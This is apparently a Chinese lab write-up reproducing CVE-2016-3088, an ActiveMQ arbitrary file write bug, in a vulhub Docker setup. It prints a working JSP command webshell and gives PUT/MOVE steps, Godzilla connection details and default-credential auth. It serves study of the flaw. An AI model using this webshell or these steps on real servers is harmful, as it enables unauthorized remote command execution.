【vulhub漏洞复现】CVE-2016-3088 ActiveMQ任意文件写入漏洞
一、漏洞详情
影响版本:Apache ActiveMQ 5.x~5.14.0
漏洞原理:ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
二、复现过程
搭建docker环境
docker-compose up -d

访问8161端口

默认账户密码admin/admin 登录

写入webshell文件
文件上传成功需要有以下几点前提:
知道文件上传的绝对路径
网站有文件上传功能
文件类型没有被限制
上传的文件可以被执行
ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取

在网上找了个jsp的木马
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
用bp抓包上传,可以看见上传成功

访问http://192.168.239.128:8161/fileserver/1.jsp,文件写入但是没有被执行

MOVE文件至可执行目录下
利用MOVE,将木马文件移动到api或者admin,我这边是移动到了admin目录下
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口

访问文件
http://192.168.239.128:8161/admin/1.jsp?cmd=ls

http://192.168.239.128:8161/admin/1.jsp?cmd=whoami

(另)利用哥斯拉生成木马并连接
使用哥斯拉生成jsp木马文件,将文件PUT至fileserver接口中,返回204,也上传成功了

MOVE文件

用哥斯拉进行连接
URL=http://192.168.239.128:8161/admin/1.jsp
注意有效载荷和加密器的选择
因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头
Authorization: Basic YWRtaW46YWRtaW4=


测试连接,连接成功


三、总结
MOVE方法还是具有很大危险性的,慎用!
任意文件写入还有其他的思路:
写入webshell(修改jetty.xml只是为写入webshell排除掉admin和api需要登录的前提条件)
写入cron文件(定时反弹shell)
写入ssh key
在此献上大佬的文章,对手上述三种方法针对改漏洞都做出了详细过程的讲解
https://www.freebuf.com/vuls/274088.html
身为小白的我还需要继续深造阿。。。